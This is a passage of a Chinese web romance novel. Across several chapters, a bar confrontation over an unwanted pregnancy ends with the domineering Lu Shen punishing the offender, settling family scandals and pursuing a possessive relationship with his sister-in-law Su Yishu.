话说到一半,陆玥猛地止住,似乎意识到这里人多眼杂。
她深吸一口气,像是下定了什么决心,从包里掏出一张皱巴巴的化验单,狠狠拍在满是酒渍的桌面上。
“阿杰,我不跟你吵。你知不知道,我怀孕了!”
陆玥死死盯着红毛,声音带着颤抖的哭腔,“孩子是你的!医生说已经一个多月了!”
这话一出,原本嘈杂的卡座瞬间安静了一瞬。
周围那群小混混面面相觑,随后爆发出更加刺耳的哄笑声。
红毛愣了一下,随即像是听到了什么天大的笑话,猛地推开怀里的精神小妹,整个人笑得前俯后仰,差点从沙发上滚下去。
“怀孕?我的?”
红毛抓起桌上的那张化验单,看都没看一眼,直接揉成一团砸回陆玥的脸上。
“陆玥,你特么脑子有病吧?想找老实人接盘也别找老子啊!”
红毛站起身,一脸嫌弃地指着陆玥的鼻子,声音大得恨不得让全酒吧的人都听见。
“咱们才睡过几次?而且每次老子都做了措施。你自己私生活混乱,在外面跟别的野男人搞大了肚子,现在赖到老子头上?你当我**啊?”
陆玥被那一团纸砸懵了,脸色惨白如纸,“你胡说!我只有你一个男人!你怎么能不认账?”
红毛冷笑一声,眼神下流地在她身上扫了一圈。
“只有我一个?得了吧,你们这种豪门千金,表面装得清纯,背地里玩得比谁都花。谁知道你那肚子里怀的是哪个野男人的杂种?想让老子当便宜爹?做梦去吧!”
旁边的精神小妹也跟着阴阳怪气,“就是啊,也不撒泡尿照照自己。也就是有点臭钱,还真当杰哥把你当盘菜了?”
“滚滚滚!别在这儿晦气!”红毛不耐烦地挥手像赶苍蝇一样,“再不滚,信不信老子把你这些破事捅到你那有钱的家里去?”
陆玥站在原地,浑身止不住地颤抖,**的泪水夺眶而出。
她怎么也没想到,自己不惜一切代价爱上的男人,竟然是这样一副丑恶的嘴脸。
不远处的阴影里,苏亦姝看着这一幕,眉头紧紧皱起,眼底划过一抹冷意。
陆家的脸,今天算是被这个蠢货丢尽了。
不等她过去,只见那个叫阿杰的,看着陆玥,眼底闪烁着不怀好意地光芒。
“陆玥。”红毛阿杰喊了一声。
陆玥看向他。
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“其实,我是爱你的。但是……你也知道,我们两人之间,毕竟身份有悬殊,你家人不会同意我们在一起的。所以……”红毛阿杰说着,一脸为难的样子。
陆玥像是看到了希望,立即摇头,说道:“不会的,肯定不会的,我家里人那么爱我,只要我同意,只要我坚持,他们就会愿意。”
红毛阿杰甩开她的手,冷笑着。“你别自欺欺人了。除非……”
“除非什么?”陆玥语气有些急切。
“除非,你让我变得很有钱,这样,就能拉小我们之间的察觉了……”
陆玥愣住了,神色有些呆愣。
旁边的精神小妹立即说道:“你家不是很有钱吗?拿个几百万给杰哥啊。”
旁边人跟着起哄。
“就是啊,拿个几百万几千万,来证明你对杰哥的爱。”
“不是说是大小姐吗?拿这么点钱应该不算什么事吧。”
“可不是,就怕有些人啊,只是嘴上说说而已,实际上,指不定怎么瞧不起咱们杰哥呢。”
陆玥着急了。
“不是的,不是这样的……我,我没那么多钱。”
听到这话,红毛一脸鄙视。
“所以说,陆玥,你打哪来的打哪去,别在这里跟我说什么怀孕,要真是我的,那你就去打掉,我可养不起……”
陆玥看着他,终于明白了。他就是玩自己。
“阿杰,你这个混蛋。”说着,拿起桌子上的酒瓶子,对着阿杰的头上直接甩了过去。
“砰!”
酒瓶子在红毛阿杰头上开了花。
众人愣了下,紧接着,围住了陆玥。
红毛阿杰捂着头,凶神恶煞地指着陆玥。。
“臭**,你找死!”说着,一把抓住了陆玥的手腕。
“你放开我……放开我。”陆玥被家里保护的很好,平时也就耍耍大小姐脾气,何时见过这样的阵仗,一下子就慌了。
红毛阿杰怒气冲冲地说道:“放开你?今天,老子非要你好看。”
就在这个时候,一个酒瓶子朝着红毛阿杰甩过去。
红毛阿杰为了避开酒瓶子,只能松开陆玥。
苏亦姝快速上前,一把把陆玥拉到了身后,看着这群人。
“我看你们今天谁敢动她!”
第一百二十一章 陆慎出现,丑闻
苏亦姝挡在陆玥身前,脊背挺得笔直。
她眉眼清冷,却带着几分凌厉。
目光扫过那群不怀好意的小混混,虽然穿着一身职业装,与这里的环境格格不入,却因为浑身那股上位者的气场让那些人不敢乱动。
陆玥整个人都傻了。
她呆愣地看着挡在自己前面的苏亦姝,脑子里乱成了一团。
她不懂,她以前没少背地里给苏亦姝使绊子,更没少嘲讽她。可她怎么也没想到,在这种最狼狈、最绝望的时刻,苏亦姝竟然出现了,还挡在她前面。
红毛阿杰捂着流血的额头,原本狰狞的脸色在看到苏亦姝的那一刻,愣了一瞬,随后露出几分猥琐的神色来。
红毛舔了舔唇边的血迹,目光放肆地在苏亦姝冷艳的脸上打转。
“哟,又来个极品?大美人儿,想要救这小丫头可以啊。只要你今晚留下陪我睡一觉,这酒瓶子的账,我不仅不跟你算,还把你当姑奶奶供着。”
周围的混混们发出一阵下流的哄笑。
苏亦姝眼底闪过一抹嫌恶,冷声开口:“就凭你也配?也不撒泡尿照照自己那副德行,除了染个红毛像个红绿灯,你还有哪点像个人?”
“你个臭娘们找死!”红毛被激怒了,挽起袖子就要冲上来。
陆玥也不知哪来的勇气,突然从苏亦姝身后探出头,嘶声吼道:“阿杰你敢!她是我大嫂,是陆家的人!你敢动她一根头发,我三哥会让你全家死无葬身之地!”
红毛愣了一下,随即笑得更加癫狂,“大嫂?陆家?老子管你是哪家的!越是这种豪门阔太,玩起来才越有滋味!兄弟们,给我上,把这两个娘们都给我按住!”
几个混混叫嚣着扑了上来。
苏亦姝眼神一凛,手速极快地操起桌上的一只空酒瓶,“砰”地一声在坚硬的大理石台面上敲碎。
她拿着那截尖锐参差的玻璃茬对着他们,面不改色地指向领头的混混,语气森寒。
“我看谁敢往前走一步,大不了今天一起横着出去。”
她眼底那股不要命的狠劲儿,竟真让那几个混混停住了脚步,面面相觑。
毕竟,他们平常也只是嘴巴逞能,真遇到这种生死的事儿,没几个人敢的。
再说了,人家还是豪门阔太,到时候出事,人家没事,倒霉的只能是他们。
就在这剑拔**张的气氛中,酒吧的大门被人从外面猛地踹开。
原本嘈杂的音乐瞬间被切断,整个酒吧大厅陷入了一种诡异的死寂。
一群黑衣保镖鱼贯而入,动作迅速地封锁了所有出口。
众人自发地让开一条道,只见陆慎大步走了进来,随着他步伐的走动,风衣的衣摆跟着摆动。
他没有看任何人,目光落在握着碎玻璃瓶的苏亦姝身上。
在看到她毫发无伤时,他眼底的神色才微微缓了一些。
跟着一起来的周轩,在看到苏亦姝没事,也暗自松了口气。真不敢想象,若是苏小姐出了什么事情,陆总会不会血洗这个酒吧。
红毛阿杰看到陆慎,虽然不认识,但是,陆慎强大的气场,让他膝盖一软,直接“噗通”一声跪在了碎玻璃渣上,脸色由红转青,最后变成了惨白。
其他人也纷纷后退,一脸惊恐地看着陆慎。
陆慎没有看向他们,而是走到苏亦姝面前,极其自然地拿走她手里那截危险的玻璃瓶,随手丢在地上。
然后,他转过头,目光阴鸷地看向那群混混,最后落在红毛身上,眼底一片冷萧,还夹杂着杀意。
“听说,你想睡她?”
“不不不,我……我……我不是,我我我我……”红毛阿杰吓得浑身颤抖,说不出话来。
陆慎一脚踹了过去,红毛阿杰当场肋骨断了三根,疼的他龇牙咧嘴。
“就凭你,也是个东西?”
他知道,自己这次真的惹到了不该惹的人。
他立即看向陆玥,求救地哭喊着。
“陆玥,救救我……我……我是爱你的。”
这话一出,苏亦姝有些倒胃。
她朝着身后的陆玥看去,在陆玥开口之前,说道:“你陆大小姐的眼光就这?我还以为……你的眼光会有多高呢,就这种货色也能入眼,可见……啧啧……”
这话一出,陆玥原本悲痛的心情顿时消散,双眸带着几分胜负欲。
“我……我是鬼迷心窍……”
陆慎自然清楚是怎么回事,他之所以来这里,不是为了陆玥,自然没心情听她在这废话。
阿信走上前,询问。“三爷,怎么处理?”
红毛阿杰倒在地上蜷缩成一团,疼得冷汗直流,可求生的本能让他顾不得断掉的肋骨,依旧在地上胡乱地抓挠着。
“三爷……三爷饶命!我知道错了!”红毛见陆慎那副阎王样,心知求饶无望,干脆看向陆玥,他嘶吼着,“陆玥!你说话啊!你肚子里还有我的种!你难道想让孩子生下来就没有父亲吗?”
此话一出,酒吧里的空气瞬间凝固。
苏亦姝挑眉,还真是……作死的一对,果然是绝配。
原本打算离开的陆慎脚步一顿,身形微侧,缓缓转过头看向陆玥。
陆玥那
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张原本还带着几分倔强的脸,在对上陆慎的视线后,脸上最后一丝血色也褪得干干净净。
她下意识地往苏亦姝身后躲了躲,可在陆慎那强大的压迫感面前,她根本无处遁形。
“你的种?”陆慎品着这三个字,语气平淡,可了解他的人都知道,这是暴风雨前的死寂。
苏亦姝感觉到身后陆玥的身体在剧烈颤抖,这个时候知道怕了?之前干嘛去了……
陆慎冷嗤一声,一步步走向陆玥。每一步,都让陆玥忍不住打个冷颤。
陆慎站在陆玥面前,居高临下地俯视着这个自诩高贵的堂妹。
“陆玥,你长本事了。为了这么个阴沟里的垃圾,怀了个杂种,还打算让陆家给你收场?”
“三哥……我……”陆玥声音细碎,眼泪夺眶而出。她看向地上的红毛,此时他正满脸希冀地看着自己,可那双眼里哪里有半分情意?全是利用,全是算计。
想到刚才这个男人如何羞辱自己、如何逼她拿钱,陆玥只觉得胃里一阵翻江倒海的恶心。
她闭上眼,自嘲地笑了一声,再睁开时,眼底只剩下一片死灰。
陆玥咬着牙,一字一顿地说道,“他不是。他这种烂人,不配。”
“陆玥!你特么提了裤子不认人!你刚才还说……”红毛阿杰见势不对,尖叫着想要跳起来,却被一旁的保镖死死按回了碎玻璃堆里。
陆慎没再看红毛一眼,那种垃圾不值得他亲自动手。
他转过头看向周轩,眼神示意了一下:“既然他这么想要当父亲,那就带去‘处理’一下,让他这辈子都别再有这种念头。”
周轩点头,示意保镖将这群人拖走。酒吧里回荡着红毛惨绝人寰的哀嚎声,直到消失在侧门。
陆慎回过身,再次看向陆玥时,眼里只有一片冰冷。
“陆家的脸被你丢尽了。你是自己回老宅跪着等爷爷发落,还是我送你回去?”
陆玥死死咬着唇,不敢吭声。
苏亦姝看着这出闹剧,心里并无多少快意,只觉得荒唐。
她看向陆慎,皱眉。“既然事情解决了,那就一起回老宅吧,事情总归是要说清楚的。”
陆慎眉头微挑,目光在苏亦姝的小脸上停留了一瞬,随即冷哼一声。
“你倒是大度,还特地跟过来救她。”
苏亦姝淡淡回应:“我只是恰好碰到了……”
其实,谈不上什么大度,更谈不上特地过来救她。她的初心,是想看看陆玥又在作什么妖。
陆慎没反驳,抬手解开西装扣子,扔下一句:“走吧。”
第一百二十二章 售后不来,我自己去要
陆家老宅。
大厅内灯火通明,在这紧张的气氛中,显得尤为压抑。
陆玥跪在大厅正中央,身上的衣服已经褶皱不堪,脸色苍白,一双眼睛哭的红肿。
陆子勋夫妇站在一旁,气得胸口剧烈起伏,指着陆玥的手指都在打颤。
怎么也没想到,自己女儿会弄出这么大的丑闻来。此时的他们,与其说是心疼,倒不如说是被这桩丑闻惊吓过度,第一反应是怎么去遮掩。
更让他们膈应的是,偏偏是被最看不上的苏亦姝撞破并救下来的,这让向来爱面子的陆子勋夫妇觉得比杀了他们还难受。
二房两人难得安静地坐在一旁,虽没像往常那样冷嘲热讽,可那副微微上扬的嘴角,怎么看都透着股幸灾乐祸。
“啪嚓!”
一只康熙年间的青花瓷瓶在陆玥脚边碎成了渣,清脆的碎裂声在静谧的大厅里格外刺耳。
陆老爷子重重地杵着拐杖,一张老脸涨得通红。
“陆家的脸面,全让你这个混账东西丢尽了!”
老爷子声音嘶哑,透着浓浓的疲惫和愤怒,“怀了地痞流氓的种,还敢去那种烟花之地闹腾,你是嫌陆家的脸丢得不够快吗?”
陆玥低着头,一言不发,只有身体不住地颤抖。
老爷子深吸了几口气,闭了闭眼,厌恶地看向陆子勋夫妇。
“看看,这就是你们夫妇养的好女儿。平时让你们多盯着点,好好教育着,现在出了这档子事!你们两个,难辞其咎!
陆子勋夫妇不敢说话,只能低着头。
“还愣着做什么,带这个孽障去医院,把那杂种处理干净。之后关在家里,没我的允许,谁也不准放她出来!”
陆子勋连连点头,一把把陆玥拽了起来,嘴里还咒骂着。
“你个死丫头,做出这种丢人的事情,还好意思哭……老子的脸都被你丢尽了。”
一边说着,一边拖着陆玥往外走。
何婉如跟在后面,心疼地喊着。“你慢点,别伤到玥玥了。”
老爷子看向坐在一旁冷眼旁观的陆慎,语气中透着怒意。
“阿慎,这事儿你盯着点,那个红毛……还有那些消息,我不希望明天在新闻上看到一个字。”
陆慎把玩着手里的车钥匙,眼底神色晦暗不明,只淡淡地应了一声:“嗯。”
陆彦站在一旁,目光在神色平静的苏亦姝身上停留了许久之后,才缓缓走上前,语气复杂地开口。
“今晚的事情,谢谢大嫂了。”
哪怕心里再有芥蒂,这种救命的场面话,他必须得说。
苏亦姝挑了挑眉,似笑非笑地看着陆彦,身体微微往陆慎的方向偏了一寸。。
“谢我倒是不必。你该谢三弟,若不是他带人及时出现,今晚我和陆玥恐怕都没法安然无恙地站在这里。”
她这话说得极有分寸,既推掉了这份让人膈应的人情,又顺手把陆慎拉到了明面上。
陆彦闻言,转头看向陆慎。
两人的视线在空中交汇,一个阴沉压抑,一个狂傲疏离,暗流涌动中,陆彦低下了头。
“三哥,多谢。”
陆慎冷嗤一声,压根没正眼瞧他,反而直接拉住苏亦姝的手腕,将人往外带。
“事情处理完了,该回去了。”
走出老宅,夜风微凉。
苏亦姝甩开陆慎的手,眼神清冷。
“陆总,这拉拉扯扯的习惯,什么时候能改改?”
陆慎停下脚步,转过身,身后老宅的灯光将他的影子拉得极长。
他盯着苏亦姝,突然笑了。
“大嫂今晚在酒吧里挥碎酒瓶的那股劲儿去哪了?我还以为,你已经习惯了我这种拉扯呢。”
陆慎的笑意未达眼底。
“上车,我送你。”
“不用,我打车回去。”苏亦姝冷着脸往后退了一步。
陆慎也不恼,摩挲着手中的车钥匙,目光越过她的肩膀,看向老宅依旧灯火通明的大厅,笑得有几分玩味。
“大嫂,你要是想在这里跟我继续僵持,我倒是不介意。就是不知道老宅那些人睡了没有?搞不好听到动静,一个个跑出来呢……陆玥的事他们估计还会背地里议论一番,现在也没那么早睡……”
“陆慎,你疯了。”苏亦姝咬牙,低声怒斥。
“我是疯了,被你冷落疯的。”陆慎半真半假地接了一句,顺势拉开车门,做了个请的手势,“上车,别让我说第三遍。”
苏亦姝深吸一口气,看着他那副执拗的样子,知道今晚若是不
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上车,这男人肯定要发疯。
与其在老宅门口丢人现眼,不如换个地方谈。
她一弯腰,动作利落地钻进了副驾驶。
车门“砰”地一声关上,陆慎嘴角上扬,绕过车头坐进驾驶位,油门一踩,黑色的迈巴赫缓缓离开。
车内,陆慎单手扶着方向盘,另一只手扯了扯领带,瞥了眼身侧那个自上车起就盯着窗外看、压根没打算理他的女人。
“这两天跟陆域聊得挺开心?”陆慎突然开口,嗓音沉得厉害。
苏亦姝没回头,语气平平。
“工作而已。新品上市在即,陆域负责市场调研,我负责技术支持,没什么开不开心的。”
“工作?”陆慎冷笑一声,猛地一打方向盘,将车稳稳地停在空旷的路边。
惯性让苏亦姝身体前倾,又被安全带狠狠拽回。
她终于转过头,眼底涌上几分薄怒。
“陆慎,你到底想发什么疯?”
陆慎解开安全带,整个人欺身而至,双臂撑在靠背两侧,将苏亦姝困在怀里。
他盯着她清冷的眼眸,咬牙切齿道,“我发疯?苏亦姝,你还有没有心?这两天我给你发了多少消息?找了你多少次?你倒好,借着公事的名头,跟他陆域有说有笑,连顿饭的时间都腾不出来给我?”
苏亦姝撇开脸,不想看他。
“陆总既然这么闲,大可以再去开发项目或者是市场,没必要在我这里浪费时间。再说了,我跟谁讨论工作,好像还没到需要向你报备的地步。”
陆慎低头,鼻尖对着她的鼻尖,两人呼吸相交。
“苏亦姝,你特么的就是个渣女,下了床就不认账!故意冷着我,看我生气,你心里是不是特别痛快?”
苏亦姝蹙眉,她伸出食指,抵在陆慎的胸膛,想要拉开点两人之间的距离。
“陆慎,那晚是你自己说‘免费服务’的。既然是免费,我为什么还要售后?”
陆慎盯着她那张开合的红唇,眼底暗潮翻涌。
他突然低下头,在那莹润的唇瓣上狠狠咬了一口。
“行,没有售后是吧?”陆慎嗓音哑得不成样子,大手顺着她的腰线缓缓下滑,“那我就自己来取。大嫂,今晚咱们新账旧账一起算。”
第一百二十三章 苏振东的绝望
第二天。
苏亦姝醒来的时候,嗓子哑的厉害。
昨晚陆慎疯了,在车子里,疯狂两次之后,竟然带着她回到海边别墅,又来了好几次。
具体几次,苏亦姝真的不记得了。
因为到了后面,她整个人都是浑浑噩噩的,只感觉自己摇晃的厉害,脑子晕乎乎的,其他的,一概不知。
她看到床头柜有水杯,知道是陆慎为她准备的。
也不矫情,端起来就喝。
喝完一杯水之后,这才感觉嗓子舒服多了。
但是,浑身酸疼,这叫她想强撑着去上班都难。
无奈,只能给温书打电话,想着晚点过去。
拿到手机,上面有陆慎的信息。
【我已经给你请了一天假,多休息。】
苏亦姝冷笑一声,直接把手机扔到了一边。
既然有人帮她请好假了,她还能说什么?
可能是昨晚真的累到了,苏亦姝倒下之后,没一会儿便睡着了。
所以,陆慎的信息再次过来,她压根就不知道。
中午的阳光透过窗帘缝隙钻进来,苏亦姝终于缓过劲儿,简单洗漱后换了身利落的长裙。
她没去公司,也没去方思荷那儿,而是驱车去了一家私立康复中心。
这里的环境优雅、隐蔽,但本质上,这就是陆慎为苏振东选的一个“牢笼”。
特护病房里,苏振东歪斜地靠在特制的轮椅上,半边脸由于中风而僵硬垮塌,嘴角还挂着一丝控制不住的口水,拉了很长的细丝。
听到门响,他浑浊的眼珠费力地转动着。
在看清来人是苏亦姝的那一刻,他那只还算能动的手猛地抓紧了扶手,喉咙里发出“咯咯”的怪声,双眼涌出一股怨毒的愤怒,随后又迅速被浓浓的恐惧与祈求所取代。
他在求她,求她带他离开,求她给他找真正的医生,而不是像现在这样,每天只能盯着白花花的墙壁等死。
苏亦姝进来后,就那样居高临下地站着看着他,神色冷淡。
对于苏振东看到自己时那激动的情绪,以及慢慢平复下来且带着祈求的神色,她知道,他妥协了。
但是,那又如何?这并不代表,他做过的那些事情,就能抵消掉。
“别白费力气了,这这个地方。没我批准的话,谁也进不来。所以,你在期待什么?”
苏亦姝往前走了半步,皮鞋踩在地板上的声音很轻,却让苏振东整个人缩了缩,眼底也终于露出了害怕之色。
“苏振东,你以前总说,苏家的一切都是你拿命博回来的,谁也抢不走。可现在呢?”
“苏氏已经破产清算了,品牌和地皮全部并入了擎天。至于你一直期待的苏可人,巴望着靠她肚子里的种能更上一层,很不幸,估计是没这个可能了。她现在和刘芹都在里面待着,听说过得挺好的。哦对了,忘了告诉你,苏可人肚子里那个种……”
苏亦姝故意停顿了一下,看着苏振东越发急促的呼吸。
“是吴海岩的。你处心积虑以为是陆家的金孙,结果到头来是个小混混的种。陆家,自然不可能认的。不过你也不用操心了,那个孩子已经没了。”
“呜……呜呜!”苏振东、突然瞪大了双眼,胸口剧烈起伏,那只干瘪的手死死握爪,喉咙里的声音凄厉而绝望。
“激动什么?好戏才刚开始。”
苏亦姝微微弯腰,凑近他耳边,压低了声音,语气温柔得让人毛骨悚然。
“你一直想得到的,我妈妈留下的那套核心算法,现在就在我手里。早在你让我去分公司的时候,我就已经转移了核心算法。因为我知道,你这种人,得不到就会毁掉,所以,我也留了一手。不得不说,这点,还真是多亏了你平时没少没少对我发难,让我也有了忧患意识。”
苏振东死死盯着她,那张扭曲的脸上全是冷汗。
他大概从未想过,这个从小被他视作棋子,甚至可以随手送人的女儿,竟然狠到了这种地步。
苏亦姝看着他这副求生不得,求死不能的惨状,心底那股经年累月的戾气竟然奇异地平复了不少。
她直起身,从包里拿出一块湿纸巾,优雅地擦了擦刚才被苏振东呼吸喷到的指尖。
“你就在这里好好活着吧,住院费已经交了几十年的了,够你活很久很久。我是希望你能好好活着的,活着看我怎么把你所有的一切,踩在脚底下。活着看我妈妈,如何过得多姿多彩。对了,忘记告诉你了,我妈妈醒了……而且,恢复的很好。”
苏亦姝转身往门口走去,身后的苏振东猛地从轮椅上栽倒在地上,发出沉闷的声响,依旧只能发出毫无意义的呜咽。
走到走廊拐角,苏亦姝一眼就看到了靠在墙边抽烟的陆慎。
他显然来了有一会儿了。
陆慎掐灭了烟,看着苏亦姝眼底还没散尽的冷意,唇角微勾,长臂一伸将她揽进怀里。
“发泄完了?嗓子还没好利索,少说点话。身上还有哪儿不舒服吗?”
对上陆慎关切地眼神,苏亦姝直接给了个白眼。
自己造的孽,现在在这里充什么好人。
苏亦姝挣了挣,没挣开陆慎的手臂,索性由着他揽着,只是嗓音依旧像是被砂纸磨
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过一般的沙哑。
“陆总这关怀来得真及时,不知道的,还以为昨晚那个像野兽一样的人不是你。”
陆慎听着这沙哑的调子,眼神暗了暗,指腹不轻不重地摩挲着她的后颈,语气带了点宠溺的意味。
“怎么,苏总监昨晚在车里求饶的时候,可不是这副过河拆桥的表情。我那是心疼你,想让你多长点记性,省得总把精力放在那些不相干的人身上。”
他意有所指地朝走廊深处的病房扫了一眼,目光里的温柔瞬间敛尽,只剩下一片薄凉。
苏亦姝冷嗤,抬眼对上他的视线笑的有些作假。
“心疼?陆三爷的心疼,一般人还真无福消受。折腾到凌晨五点,这就是你的心疼方式?”
陆慎低头,鼻尖几乎抵在她的额头上,呼吸间还带着淡淡的薄荷烟草味,声音压得很低,
“那是因为大嫂的‘售后服务’太诱人,自控力一下子有些失控。”
“更何况,我看你刚才在里面发狠的样子,精神头儿不是挺足的吗?”
苏亦姝别过脸,避开他那过分灼热的目光。
“别一口一个大嫂,陆慎,你也不嫌膈应的慌。既然苏振东已经看过了,我也该走了。”
陆慎手臂猛地收紧,将她整个人严严实实地圈在胸膛与墙壁之间,动作霸道。
“走去哪儿?我已经给你请好假了。要走,也是跟我回去。”
苏亦姝被他抵在墙上,也不慌,反而伸手拽住他的领带,用力往下一扯,逼得他不得不弯下腰。
她眼底划过一抹挑衅,红唇微启,“那陆总想要什么?是想要我在这儿,也给你一个‘售后’?”
陆慎盯着她那张冷艳又倔强的脸,喉结上下滑动,因为她一个动作一句话,让他眼底快速涌上了情欲,脑海中浮现出昨晚两人缠绵的场景,以及,她红着眼,哭唧唧的模样。
陆慎掐着她腰的手指微微陷入软肉里,嗓音哑得不成样子,“苏亦姝,你明知道我想听什么。”
“你想听什么?”苏亦姝笑了,笑得疏离又勾人,“听我说谢谢你,还是听我说,我想跟你上床?”
陆慎的面色沉了下来,他最讨厌的就是她这副随时准备抽身而退的从容。
他猛地低头,封住了那张伶牙俐齿的嘴,直到两人的呼吸都变得急促混乱。
良久,他才微微松开,贴着她的唇瓣,咬牙切齿,“苏亦姝,别跟我耍心眼。你这辈子,只能待在我身边,哪儿也去不了。”
苏亦姝笑了……
陆慎,那你最好看好我,否则,但凡有一丝机会,我就逃了……
第一百二十四章 我是你亲爹,抱歉,我爹**
苏亦姝的笑还没完全散去,陆慎的手机便急促地响了起来。
接通后,他的脸色以肉眼可见的速度阴沉下来,眼底那点旖旎瞬间化为乌有,只剩下一片森寒。
“知道了。”
挂断电话,陆慎看向苏亦姝,语气恢复了惯有的冷硬。
“回老宅。陆子民回来了,带着那个女人和两个野种。”
此时的陆家老宅,再次陷入了鸡飞狗跳。
大厅里,陆老爷子已经被气得送去了医院。
此时,陆子民坐在沙发上,身侧坐着一个保养得宜、看起来柔弱无骨的中年美妇。
那妇人眼角眉梢虽有了岁月的痕迹,却依然风韵犹存。
在他们身旁,站着一男一女两个年轻人,看起来比陆慎小几岁,眉眼间与陆子民有几分相似,此刻正一脸怯生生地打量着四周。
程丽梅坐在对面,一张脸黑得像锅底。
她手里捏着一串佛串,阴沉地看着那四个人。如果眼神能**,那这四人估计早**八百回了。
程丽梅忍无可忍,怒声呵斥,“陆子民,你还要不要脸?带着这三个见不得光的东西回来干什么?滚!”
陆子民冷笑一声,安抚地拍了拍身侧妇人的手背,斜睨着程丽梅。
“程丽梅,这陆家什么时候轮到你一个妇道人家做主了?他们是我的血脉,也是陆家的种,回来认祖归宗天经地义!”
“子民,您别为了我们跟姐姐吵架……”
陆子民身侧的妇人红着眼眶,声音娇柔造作,“只要能让孩子们叫你一声爸,给老爷子磕个头,我受点委屈没关系的……”
陆子民指着程丽梅骂道,“看看!看看素琴多懂事!再看看你那副泼妇样!”
“姐姐,我真的没想跟你争,我只是觉得孩子们大了,总得有个名分……”素琴抽抽噎噎地开口,目光却时不时扫过大厅里那些价值连城的摆设,眼底的贪婪藏都藏不住。
一旁的私生子陆辰也悠悠开口,“爸,我们真的只想回来尽尽孝。听说爷爷身体不好,我们心里一直挂念着,没有别的意思。”
“没有别的意思?”一道低沉冰冷的声音突然从门口传来。
陆慎迈步走进大厅,苏亦姝跟在他身侧,神色淡然地看着这场闹剧。
陆慎一来,大厅里的空气瞬间降了好几度。
程丽梅看到陆慎,原本愤怒的神色,渐渐冷静下来。
这一刻,她知道,只要陆慎在,陆子民在陆家就作不起来妖。
陆慎解开西装扣子,随手扔给一旁的佣人,眼神冷戾地扫过那母子三人,最后落在陆子民身上。
陆慎走到主位坐下,姿态肆意又冷傲,“你也一把年纪了,脑子是被驴踢了还是进水了?什么货色都敢往家里领,陆家难不成是收容所?现在陆家是我做主。我说让他们滚,你有意见?”
陆子民脸色一僵,随即恼羞成怒,“陆慎!我是你亲爹!这就是你跟长辈说话的态度?”
陆慎嗤笑一声,那笑意不达眼底,“亲爹?你也配?”
他转过头,看向那两个所谓的私生子女,目光轻蔑得不屑一顾。
而陆辰和陆瑶被陆慎的眼神吓得,浑身僵硬,甚至不敢直视。
“想尽孝?陆子民不是活生生坐在这儿吗?你们不去给他端茶倒水,跑回老宅尽什么孝?还是说……他已经**?若是**,那你们也是没名没分的野种,陆家大门朝哪开都轮不到你们来认。”
“你……你咒我死?”陆子民气得从沙发上跳起来,指着陆慎的手都在哆嗦。
那个叫素琴的女人眼泪说掉就掉,神色委屈无奈。
“三少爷,我知道您看不上我们,可孩子毕竟是无辜的……您可以骂我,但不能这么羞辱孩子啊……他们,也是你的弟弟妹妹……”
陆瑶也跟着抽噎着,一脸委屈。“三哥,我们身体里流的也是陆家的血……”
陆慎眼皮都没抬一下,声音不大,却让那两人的哭声戛然而止。
“闭嘴!谁是你三哥?别乱攀亲戚,我嫌脏。”
陆瑶吓得,小脸苍白一片,伸手捂住了嘴,不敢再出声。
陆慎从口袋里掏出烟盒,慢条斯理地敲出一根烟叼在嘴里,却没有点燃,只是那么冷冷地盯着他们。
“给你们三分钟,从这里滚出去。否则,我不介意让人把你们扔出去,甚至,这江城,你们待不了一天……”
陆子民怒吼,“陆慎!你敢!老爷子还在呢,这陆家还轮不到你一手遮天!”
陆慎眼神一凛,周身的戾气暴涨,“你好意思提老爷子?把他气进医院的不是你这个畜生吗?陆子民,你真以为你还是这陆家的大少?呵,实话告诉你,你的名字,在我当家的第一天,就从族谱上销毁了。所以你说,这陆家,我能不能做得了主?”
这话一出,在场的所有人都一脸震惊地看着陆慎。
尤其是陆子谦和陆子勋这两兄弟,在他们看来,不管他们这个大哥
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陆子民怎么混账,但都是陆家的人。
可是现在,陆慎说把他的名字从陆家族谱剔除了?这事可不小。真要是这样,那他们这个大哥,还真……不是陆家人了。
站在一旁的苏亦姝看着陆慎那副阎王样,嘴角微不可察地勾了勾。
恶人还需恶人磨,这话果然没错。
陆子民整个人像是被雷劈了一样,僵在原地,半天才找回自己的声音。
“你……你这个逆子,你敢背着我开祠堂?谁给你的胆子!”
“周轩。”
陆慎压根没接他的话,只是冷冷地唤了一声。
守在门口的周轩立刻带着几个身材魁梧的保镖走了进来,面无表情地站在陆子民面前。
“陆总说了,三分钟。陆先生,请吧,别让我们动手。”周轩做了个请的手势,面无表情。
“我是陆家长子!我看谁敢动我!”陆子民叫嚣着,却被两个保镖一左一右架住了胳膊,像拎小鸡一样往外拖。
“子民!救命啊!”素琴吓得尖叫,模样看上去带着几分滑稽。
陆辰和陆瑶更是吓得魂飞魄散,连行李都顾不得拿,被保镖推搡着踉跄出了大厅。
门外很快传来汽车发动的声音,以及陆子民不甘心的咒骂声。
大厅里终于清净了。
程丽梅手里紧攥着佛珠,盯着陆慎看了许久,嗓音有些干涩地开口:“阿慎,你真的……把你爸从族谱上除名了?”
虽说她恨透了陆子民,可除名族谱这种事,在陆家这样的豪门中无异于断了对方的生路。
其他人也都看向陆慎。
尤其是陆子勋和陆子谦,虽然陆慎这么说,但终究是他亲爹,所以刚才的话里,几分真几分假就不得知了。
陆慎冷嗤一声,慢条斯理地将嘴里的烟拿下来,语气依旧平淡。
“陆子民,不配为陆家人。与其等他以后毁了陆家的名声,不如早早切得干净。爷爷被气得进医院,不是已经说明了一切吗?”
程丽梅张了张嘴,最终什么也没说,只是颓然地坐回椅子上。
她知道,这个儿子早就不是她能掌控的了。
陆子民也是他咎由自取。
一旁的陆子勋和陆彦,父子俩对视了一眼,皆从对方眼中看到了一抹算计。
陆子民虽然混账,但名义上终究是陆慎的生父,陆慎这一招固然痛快,却也落了个“忤逆不孝”的口实。
只要运作得好,这就是陆慎身上抹不掉的污点。
第一百二十五章 狠心的女人
另一边,老宅外的马路上。
陆子民四人被扔在路边,极其狼狈。
陆瑶抹着眼泪,看着陆家老宅的大门,委屈到了极点,“爸,三哥也太过分了,他怎么能这样对您!咱们现在怎么办?连老宅都进不去。”
陆子民气得一脚踹在路灯杆上,“这个逆子!他真以为自己能一手遮天了?走,去报社,去电视台!我要让全江城的人都知道,陆慎是个什么样不孝的畜生!”
素琴也在一旁拱火,抹着眼角道,“对,子民,我们受点委屈没关系,可孩子是陆家的骨肉,他这摆明了是要绝了咱们两孩子的活路啊。瑶瑶和阿辰都还这么小,未来的道路那么长,咱们不为自己想,也要为两孩子着想。”
然而,四个人的如意算盘落空了。
